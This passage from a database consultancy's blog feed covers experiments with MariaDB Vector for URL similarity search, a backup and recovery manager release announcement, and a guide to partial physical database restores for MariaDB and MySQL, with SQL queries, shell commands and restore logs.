[0.200000,0.010742,0.000000,0.000000,0.000000,0.000610,0.000549,0.000000] | | 6 | https://metacpan.org/pod/Perl::Tokenizer | Perl::Tokenizer - A tiny Perl code tokenizer. | [0.200000,0.011719,0.000000,0.000000,0.000000,0.001221,0.000000,0.000000] | +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+

Same problem here. The hostname is not weighted enough. You can/must probably play with the scatter that mariadb.org and mariadb.com generate.

And last but not least, a URL that does not appear in the data set at all:

./fromdual_llm_v1.php https://www.mongodb.com/blog/post/vector-search-llm-essentials-what-when-why [0.2, 0.0146484375, 0, 0, 0, 0.00323486328125, 0, 0] SELECT id, url, title, VEC_ToText(embedding) FROM urls ORDER BY VEC_DISTANCE(embedding, VEC_FromText('[0.2, 0.0146484375, 0, 0, 0, 0.00323486328125, 0, 0]')) LIMIT 5 ; +----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+ | id | url | title | VEC_ToText(embedding) | +----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+ | 7 | https://www.qwak.com/post/utilizing-llms-with-embedding-stores | Integrating Vector Databases with LLMs: A Hands-On Guide | [0.200000,0.011719,0.000000,0.000000,0.000000,0.002563,0.000000,0.000000] | | 6 | https://metacpan.org/pod/Perl::Tokenizer | Perl::Tokenizer - A tiny Perl code tokenizer. | [0.200000,0.011719,0.000000,0.000000,0.000000,0.001221,0.000000,0.000000] | | 3 | https://mariadb.org/wp-content/uploads/2024/02/MariaDB-Vector.pdf | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002808,0.000000,0.000000] | | 4 | https://mariadb.com/resources/blog/mariadb-vector-preview-is-out/ | MariaDB Vector preview is out | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002808,0.000000,0.000000] | | 1 | https://mariadb.org/download/?t=mariadb&p=mariadb&r=11.6.0+Vector&os=source | Download MariaDB Server | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002625,0.000000,0.000000] | +----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+

Here the result seems to be completely arbitrary. But if you compare the vector of the query with the vectors of the results, the order makes sense... Are the dimensions in the vector evaluated from left to right? After all, the distance between two points in 8-dimensional space is to be determined...

Improvements in the model

The results of our AI are not yet particularly impressive. On the one hand, this is certainly due to the very limited amount of data, on the other hand, we have not yet modelled very important criteria in our model or have used completely nonsensical criteria.

Suggestions for improvement for a next model: The hostname could also be tokenised so that mariadb.com and mariadb.org are closer together.

The length of hostname, path, query and fragment is certainly not a particularly clever criterion for mapping the similarity of URLs. Much more intelligence would be needed in the model here. A function 1/CRC32(dim) might already provide slightly better results?

The title could be included, or at least the most important words (nouns, verbs) from the title.

The document type (MIME type) could be included: Is a PDF more similar to another PDF than to a CSV file or a static HMTL page or a dynamic PHP page?

Points that stood out while playing

The number of dimensions in a vector seem to be set on the first INSERT. If you subsequently enter data with a different vector length, the following error appears:

INSERT INTO products (name, description, embedding) VALUES ( 'Coffee Machine' , 'Built to make the best coffee you can imagine' , VEC_FromText('[0.2, 0.013671875, 0, 0, 0, 6.103515625E-5, 0, 0]') ); ERROR 1366 (22007): Incorrect vector value: '...' for column `test`.`products`.`embedding` at row 1

Changing the vector length is currently NOT possible with a TRUNCATE TABLE command. The table must be dropped (DROP TABLE) and created again (CREATE TABLE).

However, searching with a shorter vector is possible:

SELECT id, url, title, VEC_ToText(embedding) FROM urls ORDER BY VEC_DISTANCE(embedding, VEC_FromText('[0.2, 0.0107421875]')) LIMIT 3 ; +----+-------------------------------------------------------------------------+-------------------------------------+---------------------------------------------------------------------------+ | id | url | title | VEC_ToText(embedding) | +----+-------------------------------------------------------------------------+-------------------------------------+---------------------------------------------------------------------------+ | 8 | https://github.com/qwak-ai/qwak-examples/tree/main/qa_bot_falcon_chroma | LLM Model Enhanced with Vector DB | [0.200000,0.009766,0.000000,0.000000,0.000000,0.003235,0.000000,0.000000] | | 2 | https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ | Creating the MariaDB Binary Tarball | [0.200000,0.010742,0.000000,0.000000,0.000000,0.000610,0.000549,0.000000] | | 5 | https://mariadb.org/projects/mariadb-vector/ | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.001526,0.000000,0.000000] | +----+-------------------------------------------------------------------------+-------------------------------------+---------------------------------------------------------------------------+

I cannot (yet) judge whether the result is so useful.

Sources

Taxonomy upgrade extras: mariadb ai vector artificial intelligence

Categories: FromDual all (en), FromDual TechFeed (en), MySQL Tech-Feed (en)

Spielen mit MariaDB Vector für erste KI-Tests

Oli Sennhauser - Tue, 2024-08-27 21:50

Künstliche Intelligenz (KI) und Vektor-Datenbanken sind heute in aller Munde. Da MariaDB demnächst auch mit Vektor-Datenbank-Funktionalität auf den Markt kommt, habe ich es als Datenbank-Berater für an der Zeit befunden mich etwas mit dem Thema zu beschäftigen, damit ich wenigstens einen Hauch Ahnung davon habe um was es geht...

Da ich nicht so der Theoretiker bin sondern eher gerne etwas praktisches mache, habe ich einen kleinen "KI" Prototypen gebaut, den jeder auf seinem Laptop (ohne GPU) sehr schnell und einfach nachbauen kann...

Ich habe mir auch erlaubt die Graphen aus dem Vortrag der MariaDB Foundation zu klauen (siehe Quellen am Ende).

Herunterladen der MariaDB Datenbank mit Vektor Funktionalität

Noch gib es keine MariaDB Pakete mit Vektor-Funktionalität, aber der Quellcode ist bereits verfügbar. Also baut man sich die Binaries halt schnell selber. Dies hat auf meiner alten Kiste eine knappe Stunde gedauert. Wenn die Binaries gebaut sind, kann man sich einen Tarball draus machen:

# tar xf mariadb-11.6.0_vector.tar.gz # cd mariadb-11.6.0_vector/ # cmake . # make # make package

Anschliessend muss die MariaDB Datenbank nur noch gestartet werden.

Das Modell

Um das Konzept des Tokenisierens zu zeigen habe ich mir vorgenommen ein KI für URLs zu bauen und um das Konzept der verschiedenen Modelle und deren Verbesserungspotenzial zu zeigen habe ich eine ganz dummes Modell in PHP gebaut, welches ganz einfach und simple eine URL zerlegt.

Die Frage, die mit diesem Modell beantwortet werden können sollte lautet: "Gib mir ähnliche URLs zur folgenden URL."

Die dazu gehörende Tabelle sieht wie folgt aus:

DROP TABLE IF EXISTS `urls`; -- TRUNCATE TABLE is NOT sufficient!!! CREATE TABLE `urls` ( `id` INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY , `url` varchar(1024) DEFAULT NULL , `title` varchar(2000) DEFAULT NULL , `embedding` blob NOT NULL , VECTOR KEY `embedding` (`embedding`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 ;

Das Modell fromdual_llm_v1 kann man hier herunter laden.

Wie das Ganze in etwa funktioniert kann man an diesem Schaubild der MariaDB Foundation entnehmen:

Trainieren der KI

Dann wird die Datenbank trainiert: Die URL wird als gegeben angenommen und der Title kann z.B. über einen HTML Scraper ausgelesen werden. Hier 8 Trainings-Datensätze:

Anschliessend werden mittels unseres Models die Vektoren generiert:

(./fromdual_llm_v1.php https://mariadb.org/download/?t=mariadb&p=mariadb&r=11.6.0+Vector&os=source ./fromdual_llm_v1.php https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ ./fromdual_llm_v1.php https://mariadb.org/wp-content/uploads/2024/02/MariaDB-Vector.pdf ./fromdual_llm_v1.php https://mariadb.com/resources/blog/mariadb-vector-preview-is-out/ ./fromdual_llm_v1.php https://mariadb.org/projects/mariadb-vector/ ./fromdual_llm_v1.php https://metacpan.org/pod/Perl::Tokenizer ./fromdual_llm_v1.php https://www.qwak.com/post/utilizing-llms-with-embedding-stores ./fromdual_llm_v1.php https://github.com/qwak-ai/qwak-examples/tree/main/qa_bot_falcon_chroma) | grep '^\[' [0.2, 0.0107421875, 0, 0, 0, 0.0006103515625, 0.00054931640625, 0] [0.2, 0.0107421875, 0, 0, 0, 0.00262451171875, 0, 0] [0.2, 0.0107421875, 0, 0, 0, 0.0028076171875, 0, 0] [0.2, 0.0107421875, 0, 0, 0, 0.0028076171875, 0, 0] [0.2, 0.0107421875, 0, 0, 0, 0.00152587890625, 0, 0] [0.2, 0.01171875, 0, 0, 0, 0.001220703125, 0, 0] [0.2, 0.01171875, 0, 0, 0, 0.0025634765625, 0, 0] [0.2, 0.009765625, 0, 0, 0, 0.00323486328125, 0, 0]

Mit diesen Vektoren wird jetzt die Datenbank gefüttert (trainiert):

INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://mariadb.org/download/?t=mariadb&p=mariadb&r=11.6.0+Vector&os=source' , 'Download MariaDB Server' , VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.00262451171875, 0, 0]') ); INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/' , 'Creating the MariaDB Binary Tarball' , VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.0006103515625, 0.00054931640625, 0]') ); INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://mariadb.org/wp-content/uploads/2024/02/MariaDB-Vector.pdf' , 'MariaDB Vector' , VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.0028076171875, 0, 0]') ); INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://mariadb.com/resources/blog/mariadb-vector-preview-is-out/' , 'MariaDB Vector preview is out' , VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.0028076171875, 0, 0]') ); INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://mariadb.org/projects/mariadb-vector/' , 'MariaDB Vector' , VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.00152587890625, 0, 0]') ); INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://metacpan.org/pod/Perl::Tokenizer' , 'Perl::Tokenizer - A tiny Perl code tokenizer' , VEC_FromText('[0.2, 0.01171875, 0, 0, 0, 0.001220703125, 0, 0]') ); INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://www.qwak.com/post/utilizing-llms-with-embedding-stores' , 'Integrating Vector Databases with LLMs: A Hands-On Guide' , VEC_FromText('[0.2, 0.01171875, 0, 0, 0, 0.0025634765625, 0, 0]') ); INSERT INTO `urls` (id, url, title, embedding) VALUES ( NULL , 'https://github.com/qwak-ai/qwak-examples/tree/main/qa_bot_falcon_chroma' , 'LLM Model Enhanced with Vector DB' , VEC_FromText('[0.2, 0.009765625, 0, 0, 0, 0.00323486328125, 0, 0]') );

Hier mal zuerst ein Überblick, was jetzt in der Datenbank drin steht:

SELECT id, url, title, VEC_ToText(embedding) FROM urls ; +----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+ | id | url | title | VEC_ToText(embedding) | +----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+ | 1 | https://mariadb.org/download/?t=mariadb&p=mariadb&r=11.6.0+Vector&os=source | Download MariaDB Server | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002625,0.000000,0.000000] | | 2 | https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ | Creating the MariaDB Binary Tarball | [0.200000,0.010742,0.000000,0.000000,0.000000,0.000610,0.000549,0.000000] | | 3 | https://mariadb.org/wp-content/uploads/2024/02/MariaDB-Vector.pdf | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002808,0.000000,0.000000] | | 4 | https://mariadb.com/resources/blog/mariadb-vector-preview-is-out/ | MariaDB Vector preview is out | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002808,0.000000,0.000000] | | 5 | https://mariadb.org/projects/mariadb-vector/ | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.001526,0.000000,0.000000] | | 6 | https://metacpan.org/pod/Perl::Tokenizer | Perl::Tokenizer - A tiny Perl code tokenizer | [0.200000,0.011719,0.000000,0.000000,0.000000,0.001221,0.000000,0.000000] | | 7 | https://www.qwak.com/post/utilizing-llms-with-embedding-stores | Integrating Vector Databases with LLMs: A Hands-On Guide | [0.200000,0.011719,0.000000,0.000000,0.000000,0.002563,0.000000,0.000000] | | 8 | https://github.com/qwak-ai/qwak-examples/tree/main/qa_bot_falcon_chroma | LLM Model Enhanced with Vector DB | [0.200000,0.009766,0.000000,0.000000,0.000000,0.003235,0.000000,0.000000] | +----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+
Suche in der MariaDB Vektor Datenbank

Jetzt kommt der spannend Teil der ganzen Geschichte: Finden wir auch was in unserer MariaDB Vektor Datenbank mit URLs?

Wie das schematisch vor sich geht kann wieder dem Schaubild der MariaDB Foundation entnommen werden:

Als erster Versuch ein perfekter Treffer:

./fromdual_llm_v1.php https://mariadb.org/projects/mariadb-vector/ [0.2, 0.0107421875, 0, 0, 0, 0.00152587890625, 0, 0] SELECT id, url, title, VEC_ToText(embedding) FROM urls ORDER BY VEC_DISTANCE(embedding, VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.00152587890625, 0, 0]')) LIMIT 3 ; +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+ | id | url | title | VEC_ToText(embedding) | +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+ | 5 | https://mariadb.org/projects/mariadb-vector/ | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.001526,0.000000,0.000000] | | 6 | https://metacpan.org/pod/Perl::Tokenizer | Perl::Tokenizer - A tiny Perl code tokenizer. | [0.200000,0.011719,0.000000,0.000000,0.000000,0.001221,0.000000,0.000000] | | 2 | https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ | Creating the MariaDB Binary Tarball | [0.200000,0.010742,0.000000,0.000000,0.000000,0.000610,0.000549,0.000000] | +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+

Die erste Zeile stimmt zu 100% überein. Dann werden die Resultate relativ schnell viel schlechter...

Zweiter Versuch eine ähnliche URL:

./fromdual_llm_v1.php https://mariadb.com/kb/en/e4201/ [0.2, 0.0107421875, 0, 0, 0, 0.00079345703125, 0, 0] SELECT id, url, title, VEC_ToText(embedding) FROM urls ORDER BY VEC_DISTANCE(embedding, VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.00079345703125, 0, 0]')) LIMIT 3 ; +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+ | id | url | title | VEC_ToText(embedding) | +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+ | 2 | https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ | Creating the MariaDB Binary Tarball | [0.200000,0.010742,0.000000,0.000000,0.000000,0.000610,0.000549,0.000000] | | 5 | https://mariadb.org/projects/mariadb-vector/ | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.001526,0.000000,0.000000] | | 6 | https://metacpan.org/pod/Perl::Tokenizer | Perl::Tokenizer - A tiny Perl code tokenizer. | [0.200000,0.011719,0.000000,0.000000,0.000000,0.001221,0.000000,0.000000] | +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+

Hier würde ich unter den ersten 3 Treffern nur mariadb URLs erwarten. Dies ist aber nicht der Fall. Hier hat unser Modell also noch Verbesserungspotential!

Und noch eine andere ähnliche URL:

./fromdual_llm_v1.php https://mariadb.com/kb/en/vec_totext/ [0.2, 0.0107421875, 0, 0, 0, 0.0010986328125, 0, 0] SELECT id, url, title, VEC_ToText(embedding) FROM urls ORDER BY VEC_DISTANCE(embedding, VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.0010986328125, 0, 0]')) LIMIT 3 ; +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+ | id | url | title | VEC_ToText(embedding) | +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+ | 5 | https://mariadb.org/projects/mariadb-vector/ | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.001526,0.000000,0.000000] | | 2 | https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ | Creating the MariaDB Binary Tarball | [0.200000,0.010742,0.000000,0.000000,0.000000,0.000610,0.000549,0.000000] | | 6 | https://metacpan.org/pod/Perl::Tokenizer | Perl::Tokenizer - A tiny Perl code tokenizer. | [0.200000,0.011719,0.000000,0.000000,0.000000,0.001221,0.000000,0.000000] | +----+----------------------------------------------------------------+-----------------------------------------------+---------------------------------------------------------------------------+

Selbes Problem hier. Der Hostname wird zu wenig gewichtet. Wahrscheinlich kann/muss man hier mit der Streuung spielen welche mariadb.org und mariadb.com erzeugen.

Und zu guter letzt eine URL die gar nicht im Datensatz vorkommt:

./fromdual_llm_v1.php https://www.mongodb.com/blog/post/vector-search-llm-essentials-what-when-why [0.2, 0.0146484375, 0, 0, 0, 0.00323486328125, 0, 0] SELECT id, url, title, VEC_ToText(embedding) FROM urls ORDER BY VEC_DISTANCE(embedding, VEC_FromText('[0.2, 0.0146484375, 0, 0, 0, 0.00323486328125, 0, 0]')) LIMIT 5 ; +----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+ | id | url | title | VEC_ToText(embedding) | +----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+ | 7 | https://www.qwak.com/post/utilizing-llms-with-embedding-stores | Integrating Vector Databases with LLMs: A Hands-On Guide | [0.200000,0.011719,0.000000,0.000000,0.000000,0.002563,0.000000,0.000000] | | 6 | https://metacpan.org/pod/Perl::Tokenizer | Perl::Tokenizer - A tiny Perl code tokenizer. | [0.200000,0.011719,0.000000,0.000000,0.000000,0.001221,0.000000,0.000000] | | 3 | https://mariadb.org/wp-content/uploads/2024/02/MariaDB-Vector.pdf | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002808,0.000000,0.000000] | | 4 | https://mariadb.com/resources/blog/mariadb-vector-preview-is-out/ | MariaDB Vector preview is out | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002808,0.000000,0.000000] | | 1 | https://mariadb.org/download/?t=mariadb&p=mariadb&r=11.6.0+Vector&os=source | Download MariaDB Server | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002625,0.000000,0.000000] | +----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+

Hier scheint das Resultat völlig willkürlich zu sein. Wenn man sich den Vektor der Abfrage mit den Vektoren der Resultate vergleicht macht die Reihenfolge aber schon Sinn... Werden die Dimensionen im Vektor von links nach rechts ausgewertet? Es soll ja der Abstand von zwei Punkten im 8-dimensionalen Raum bestimmt werden...

Verbesserungen im Modell

Die Resultate unserer KI sind noch nicht so sonderlich berauschend. Einerseits liegt das sicher an der sehr beschränkten Datenmenge, andererseits haben wir auch sehr wichtige Kriterien in unserem Model noch nicht abgebildet oder völlig unsinnige Kriterien verwendet.

Verbesserungsvorschläge für ein nächstes Modell: Der hostname könnte zusätzlich noch tokenisiert werden, damit könnte man erreichen dass mariadb.com und mariadb.org näher beieinander liegen.

Die Länge von hostname, path, query und fragment ist sicherlich kein sonderlich schlaues Kriterium um eine Änhlichkeit von URLs abzubilden. Hier wäre also wesentlich mehr Intelligenz im Modell vonnöten. Eine Funktion 1/CRC32(dim) liefert ev. bereits minimal bessere Resultate?

titel könnte mit einbezogen werden, oder zumindest die wichtigsten Worte (Nomen, Verben) aus dem Titel.

Der Dokumententyp (MIME type) könnte mit einbezogen werden: Ist ein PDF ähnlicher zu einem anderen PDF als zu einer CSV Datei oder einer statischen HMTL Seite oder einer dynamischen PHP Seite?

Punkte die beim Spielen aufgefallen sind

Die Anzahl der Dimensionen in einem Vektor scheinen beim ersten INSERT festgelegt zu werden. Wenn man anschliessend Daten mit einer anderen Vektorlänge eingibt erscheint folgender Fehler:

INSERT INTO products (name, description, embedding) VALUES ( 'Coffee Machine' , 'Built to make the best coffee you can imagine' , VEC_FromText('[0.2, 0.013671875, 0, 0, 0, 6.103515625E-5, 0, 0]') ); ERROR 1366 (22007): Incorrect vector value: '...' for column `test`.`products`.`embedding` at row 1

Ein Änderen der Vector-Länge ist mit einem TRUNCATE TABLE Befehl zur Zeit noch NICHT möglich. Die Tabelle muss gelöscht (DROP TABLE) und wieder kreiert (CREATE TABLE) werden.

Das Suchen mit einem kürzeren Vector geht hingegen:

SELECT id, url, title, VEC_ToText(embedding) FROM urls ORDER BY VEC_DISTANCE(embedding, VEC_FromText('[0.2, 0.0107421875]')) LIMIT 3 ; +----+-------------------------------------------------------------------------+-------------------------------------+---------------------------------------------------------------------------+ | id | url | title | VEC_ToText(embedding) | +----+-------------------------------------------------------------------------+-------------------------------------+---------------------------------------------------------------------------+ | 8 | https://github.com/qwak-ai/qwak-examples/tree/main/qa_bot_falcon_chroma | LLM Model Enhanced with Vector DB | [0.200000,0.009766,0.000000,0.000000,0.000000,0.003235,0.000000,0.000000] | | 2 | https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ | Creating the MariaDB Binary Tarball | [0.200000,0.010742,0.000000,0.000000,0.000000,0.000610,0.000549,0.000000] | | 5 | https://mariadb.org/projects/mariadb-vector/ | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.001526,0.000000,0.000000] | +----+-------------------------------------------------------------------------+-------------------------------------+---------------------------------------------------------------------------+

Ob das Resultat so sinnvoll ist, kann ich (noch) nicht beurteilen.

Quellen

Taxonomy upgrade extras: mariadb ki ai vector artificial intelligence künstliche intelligenz vektor

Categories: FromDual all (de), FromDual TechFeed (de)

FromDual Backup and Recovery Manager for MariaDB and MySQL 2.3.1 has been released

Shinguz - Mon, 2024-08-12 16:25

FromDual has the pleasure to announce the release of the new version 2.3.1 of its popular Backup and Recovery Manager for MariaDB and MySQL (brman).

The new FromDual Backup and Recovery Manager can be downloaded from here. The FromDual Repositories were updated. How to install and use the Backup and Recovery Manager is described in FromDual Backup and Recovery Manager (brman) installation guide.

In the inconceivable case that you find a bug in the FromDual Backup and Recovery Manager please report it to the FromDual Bugtracker or just send us an email.

Any feedback, statements and testimonials are welcome as well! Please send them to feedback@fromdual.com.

Upgrade from 2.x to 2.3.1 shell> cd ${HOME}/product shell> tar xf /download/brman-2.3.1.tar.gz shell> rm -f brman shell> ln -s brman-2.3.1 brman
Changes in FromDual Backup and Recovery Manager 2.3.1

This release is a new minor release. It contains mainly bug fixes. We have tried to maintain backward-compatibility with the 1.2, 2.0, 2.1 and 2.2 release series. But you should test the new release seriously!

You can verify your current FromDual Backup Manager version with the following command:

shell> fromdual_bman --version shell> bman --version shell> rman --version
General

Testing: LXC library updated.
Testing: Test preparation improved.
General: CHANGELOG updated.
General: rc made unique.
Documentation: Documentation improved.
Documentation: Create user documented.
Documentation: New release notes added to documentation.
Packaging: Distro Debian 10 removed.

FromDual Backup Manager (bman)

Utility mariabackup replaced by mariadb-backup.
Branch guessing improved.
Code refactored.
No realistic password is used any more.
Error message for missing client utilities made more distro specific.

FromDual Recovery Manager (rman)

Branch guessing improved.
Code refactored.
No realistic password is used any more.
Error message for missing client utilities made more distro specific.
Typo error fixed, tests refactored.
In some error cases all processes where killed instead of just the dummy database daemon. This is caught correctly now.
Error message improved to get more information in case of errors.
Physical schema backup leads to dump which is wrong. Now this is caught and aborted with an error.

Subscriptions for commercial use of FromDual Backup and Recovery Manager you can get from from us.

Taxonomy upgrade extras: Backup Restore Recovery pitr brman release bman rman FromDual Backup and Recovery Manager

Categories: FromDual all (en), FromDual TechFeed (en), MySQL Tech-Feed (en)

Partial physical database restore for MariaDB and MySQL

Shinguz - Tue, 2024-07-02 18:13

What is it about?

When describing backup and restore scenarios, a full backup and a full restore of the database instance (mariadbd/mysqld) are usually assumed. This means that the entire database instance, including all databases (schemas), is backed up and restored.

In practice, however, the situation is often different: An entire database instance is not to be restored, but only individual databases or even individual tables, because only these have broken.

In many cases, this can be done quite easily with the tools mariadb-dump/mariadb or mysqldump/mysql (logical backup). However, if the database or table is very large, the restore will not be completed in a reasonable time (some minutes to a few hours).

This is exactly where the so-called partial physical restore comes into play. Partial stands for one or more tables (or an entire database), physical for: Individual SQL statements are not executed, but the data files are physically restored. In this scenario, very large amounts of data can be restored very quickly, provided the appropriate infrastructure is in place. Rule of thumb: On fat hardware: 1 Tbyte per hour. In this way, database restores can be carried out very quickly.

MariaDB and MySQL already offer this functionality out of the box. The mechanism is reasonably practicable for individual tables (see Restore partial backup). For entire databases with possibly dozens or hundreds of tables, however, the on-board mechanism is very cumbersome and error-prone.

Use case

This is exactly where the new functionality of the FromDual Backup and Recovery Manager (brman) v2.3.0 comes into play: it considerably simplifies the partial physical database restore.

A second scenario in which this new functionality can also be used is when moving a large database from one database instance to another (e.g. from Dev to Prod).

Preparations for the partial physical database restore

In order to be able to restore a database, a clean backup must of course first be available. This can either be created with the FromDual Backup Manager (bman):

PORT=3306 BACKUPNAME=bck_full_2024-07-01 BACKUPDIR=/tmp/bck ./brman/bin/bman --target=brman:secret@127.0.0.1:${PORT} --type=full --mode=physical --policy=daily --backupdir=${BACKUPDIR} --backup-name=${BACKUPNAME} --no-compress

or you can simply create the backup with the MariaDB (mariadb-backup) or MySQL on-board tools (xtrabackup):

PORT=3306 BACKUPNAME=bck_full_2024-07-01 BACKUPDIR=/tmp/bck POLICY=daily mariadb-backup --user=brman --password=secret --host=127.0.0.1 --port=${PORT} --backup --target-dir=${BACKUPDIR}/${POLICY}/${BACKUPNAME} mariadb-backup --user=brman --password=secret --host=127.0.0.1 --port=${PORT} --prepare --target-dir=${BACKUPDIR}/${POLICY}/${BACKUPNAME}
Partial physical database restore

To perform a partial physical database restore, the database must be running, in contrast to a complete physical restore.

The partial physical database restore is then simple:

PORT=3306 DATADIR=/var/lib/mysql BACKUPNAME=bck_full_2024-07-01 BACKUPDIR=/tmp/bck ./brman/bin/rman --target=brman:secret@127.0.0.1:${PORT} --type=schema --mode=physical --policy=daily --schema=test --log=/tmp/rman.log --backupdir=${BACKUPDIR} --datadir=${DATADIR} --backup-name=${BACKUPNAME} ... Start restore at 2024-07-01 16:29:48 Backup with tool mariabackup version 10.11.8 (from path /home/mysql/product/mariadb-10.11/bin/mariabackup). Parent: We are the parent. Our child is: 63712. Waiting for database daemon... Child: We are the child: Starting database daemon... Child: Change ownership of database files (/tmp/bck/daily/bck_full_2024-07-01) to mysql Child: /home/mysql/product/mariadb-10.11/bin/mariadbd --no-defaults --user=mysql --basedir=/home/mysql/product/mariadb-10.11 --datadir=/tmp/bck/daily/bck_full_2024-07-01 --log-error=/tmp/my.err --port=3360 --socket=/tmp/my.sock --lower-case-table-names=0 Parent: Tables not InnoDB or sequences: 0 Parent: Tables with partitions: 0 Parent: Tables with full-text index: 0 Parent: InnoDB table `test` found to restore Parent: Dump database test Parent: /home/mysql/product/mariadb-10.11/bin/mariadb-dump --user=brman --host=127.0.0.1 --port=3360 --routines --events --triggers --no-data --skip-lock-tables --add-drop-database --databases test Parent: Shutdown backup database. Restore empty database test Prepare and export tables: /home/mysql/product/mariadb-10.11/bin/mariabackup --user=brman --host=127.0.0.1 --port=3321 --prepare --export --databases=test --target-dir=/tmp/bck/daily/bck_full_2024-07-01 SET SESSION foreign_key_checks = 0 SET SESSION sql_log_bin = off Restore table test ALTER TABLE `test`.`test` DISCARD TABLESPACE cp /tmp/bck/daily/bck_full_2024-07-01/test/test.cfg /home/mysql/database/mariadb-1011/data/test/test.cfg cp /tmp/bck/daily/bck_full_2024-07-01/test/test.ibd /home/mysql/database/mariadb-1011/data/test/test.ibd chown mysql: /home/mysql/database/mariadb-1011/data/test/test.cfg /home/mysql/database/mariadb-1011/data/test/test.ibd ALTER TABLE `test`.`test` IMPORT TABLESPACE rm /home/mysql/database/mariadb-1011/data/test/test.cfg rm /tmp/bck/daily/bck_full_2024-07-01/test/test.cfg ---------------------------------------- WARNING: You should restart the database now! Otherwise possible future backups may fail. See MDEV-34418 (https://jira.mariadb.org/browse/MDEV-34418). ---------------------------------------- Restore time was: 0d 0h 0' 2" End restore at 2024-07-01 16:29:50 (rc=0)

For MariaDB, it is recommended to restart the database afterwards until the bug MDEV-34418: mariadb-backup fails on database which was partially restored with mariadb-backup is fixed. This step can be omitted for MySQL.

Restrictions

At present, the following restrictions still apply to the partial physical restore of databases with rman:

Only entire databases can be restored. Restoring individual tables is not yet implemented. Use the basic on-board tools for this.
Restoring partitioned tables is not yet implemented. Use the basic on-board tools for partitioned tables.
A subsequent point-in-time recovery of the database is not yet implemented and must be carried out manually.
A partial physical database restore for an entire Galera cluster is not yet implemented and must be performed manually. In this case, a restore to one Galera node and a subsequent synchronisation of the other nodes using SST is recommended.
With a physical partial database restore, a pseudo instance is started on the backup files. This pseudo instance requires a free port 3360.
The backup files must already be in a consistent state (--prepare).
With a partial physical database restore, a logical backup of the database is created without the data on the pseudo instance. This backup is restored to the instance to be repaired. This means that all objects (views, triggers, functions, procedures, events, etc.) that were created AFTER the complete physical backup are deleted before the partial physical database restore and are then no longer available.
The original database instance from which the backup was created and the instance on which the restore is performed must have the same setting for lower_case_table_names.
All three, the backup, the database instance and the rman tool must be located on the same machine.
The backup must currently still be available in uncompressed form.

Literature

Taxonomy upgrade extras: partial restore Restore database schema

Categories: FromDual all (en), FromDual TechFeed (en), MySQL Tech-Feed (en)

Partieller physischer Datenbank-Restore für MariaDB und MySQL

Oli Sennhauser - Mon, 2024-07-01 16:52

Um was geht es?

